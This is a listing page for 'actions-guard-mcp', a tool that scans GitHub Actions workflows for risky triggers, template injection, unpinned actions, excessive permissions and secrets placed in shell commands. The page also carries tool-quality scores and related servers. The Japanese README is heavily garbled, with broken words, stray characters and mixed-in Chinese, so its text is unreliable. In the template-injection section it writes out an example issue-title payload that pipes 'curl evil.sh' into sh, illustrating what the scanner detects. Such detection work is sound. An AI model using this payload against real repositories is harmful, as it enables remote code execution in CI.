actions-guard-mcp
actions-guard-mcp
GitHub Actions のワークフロー・セキュリティ・スキャナで、MCP ツールとして用公開されています。エージェントが「pwn リクエスト」やサプライチェーン攻撃の(实际のインシデントを、作っかした(CoreShop、stの、tj-actions など))パターンを、ワークフローファイルがコミットされる前に — コミット後ではなく — 検出できるようにするためのものです。
これが存在する理由
GitHub Actions ワークフロー向けの静的解析は、成熟コ、よく理解されたコ分野です。izのmmor() は、正にこれを対する、信頼があり能動的にメンテンスされているスタンドアローソーすキャナです。まだ存しないのは、その稿の解析を本格的にリップする MCP ラッパーです。広い検索の検で見つけたプロジー1のジェクト(github-vulnerability)は、45 のチェックを組ンの設定・シークレット・サプライチェーンの岐をこ Actions を1 つの汎用ツールに散らしたものです — 12 スターら、5 ヶ月間作にコミットなら。ワークフロのセキュリティ・ビ所に、ディープな、エージェントがワークフローファイル能動中に書くこと・レビュー中に呼び出すものは、何もあり。
Related MCP server: TaskBounty Check
検出するもの
危険なトリガ(AGMCP-101) —
pull_request_targetまたはworkflow_runが、ref:やrepository:をトリガーとなった PR / ランそのもののフォークに指すチェックアウト・ステップと組み合わっているケース。これは CoreShop インシデントがジックトの同じ形です。ベース・リポジトリのトークンとシークレットで実ルが、トリガーのンたフォークのコーダをチュックアウトして実ルするワークフローです。
*テンプレート注込む(AGMCP-102)** — アのタッカの制御らされるコンテキスト(github.event.issue.title、github.event.pull_request.title、github.event.comment.body、github.head_ref、toJSON(github.event)のペイロード全体ダンプなどからの) から構築された${{ ... }} 式が、env:を経由しれずにrun:に直接にステップ・インターンではなく直接挿入されているケース。古典的形はrun: echo "${{ github.event.issue.title }}"— のアン issue のタイトール"; curl evil.sh | sh #` を、そのポイの時点では文字列ではなくシェルです。
ピン付けれていないアクションと再利用可能ワークフロー(AGMCP-103) —
uses: --owner/repo@v4(タグ / ブランチ、両方変更可能)を使う代わりに、固定されたコミット SH を使う; ジョブレベルの再利用可能ワークフローの呼び出し(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main)が同じ様にピンされていない(もしくはdocker://image:tagが@sha256:ダイジェストに固定されていない)。これは tj-actions 事件が使った「のソプライチェーン攻撃面」其のものです。不得勝されたタグが、バーションの上げるあることしに、それを用いる全員を悪意あるコードにポインドさせたのです。こうした事件の hidden 核心です。過剰な権限(AGMCP-104) —
permissions: write-allが、または明し的な広い scope なwriteスコープ(contents、actions、packagesなど)が、ワークフロー・レベルかジョブ・レベルのいずれ以下で、リスクのあるトリガーも持ったるワークフローに設定されえてある — より狭いスコープで足りるのに。シェルにインターリ入されたシークレット(AGMCP-105) —
${{ secrets.X }}をenv:を経由せずに直接るrun:ステップで使用す — 生のシークレット値が、環境変数ではなく、シェルのコマンド・ラインやプロセス一覧に不必要にサされるです。
すべてのマーカ・マッチング(AGMCP-101 / 102 / 105)でが、GitHub Actions の「ブラケット記法」プロパティ・アクセス(github.event['issue']['title'])を、相当しるドット記法に正規化し、大文字・小文字をを無视のないマッチします。表現言語ではその両方のが同一扱いられるからです。
既知なの制限
これはパターンマッチングです — ノーです。の「完全な GitHub Actions 式パーサでも、データフロー分析でもありません。${{ }} 式と with: / permissions: ブロックのテキスト、そのリテラルな文字列に照合てるものです。クリーン・スキャンとは「書かれたままの中に、既知の危険なパターンがない」を意味するのであって、ワークフローの安全性の保証ではありません。コノクリートにの:
クロス・ステープ /
env:のデタフロー追跡のなし。 危険な値が、中間のenv:変数やステップの出力を経由し、チェックアウト・のref:やrun:コマンドに到ル場合、AGMCP-101/102/み105 からは見えません — 検査対象のフィールドのリテラルなのみが検査されます。攻撃者が制御テキスト・マーカ一覧(AGMCP-102)は 有限で手動メンテされているセットであり、GitHub Actions が公開する、すべ のコンテキストールを網羅にある列挙で行の行の権はありません。リストアップされれい新種のフィールド存在していてもあります。
クリーンな結果がセキュリティの判断に関わるなら、そのを「最後の言葉」扱いせず、zizmor の、同ジュゴルのファイルに対しもっと深く、より汎用的な静的解析を行うので、このツールの代わりではなく、併用して実行する価値があります。
セットアップ
pip install actions-guard-mcp
actions-guard-mcpセットアップは必要ありません — すべてのツールは、ワークフローファイルのパス、またはその生の YAML コンテンツを直引直接受け取ります。
状 態
アーリー・ビルド。
ライセンス
MIT
Available Tools
2 toolsscan_workflow_contentA
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
| Name | Required | Description | Default |
|---|---|---|---|
| yaml_content | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_workflow_fileA
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
2 tool updates
v0.1.0- First observed
scan_workflow_content - First observed
scan_workflow_file
TDQS
Scored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
Maintenance
Related MCP Connectors
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Lets coding agents check their own code for leaked secrets, risky dependencies and AI-code mistakes
11
Related MCP Servers
- AlicenseAqualityDmaintenanceAn MCP server that enables AI agents to perform comprehensive GitHub security audits across org settings, repositories, Actions workflows, secrets, supply chain, and access control using 39 tools and 45 checks.39162 npm15MIT
- AlicenseAqualityCmaintenanceLocal-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.361 npm2MIT
- AlicenseAqualityDmaintenanceVerify-before-act safety tools for AI coding agents, providing MCP tools to check packages, lockfiles, manifests, and CI workflows for supply chain risks.432 npmMIT
- FlicenseNot gradedqualityDmaintenanceAudits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.-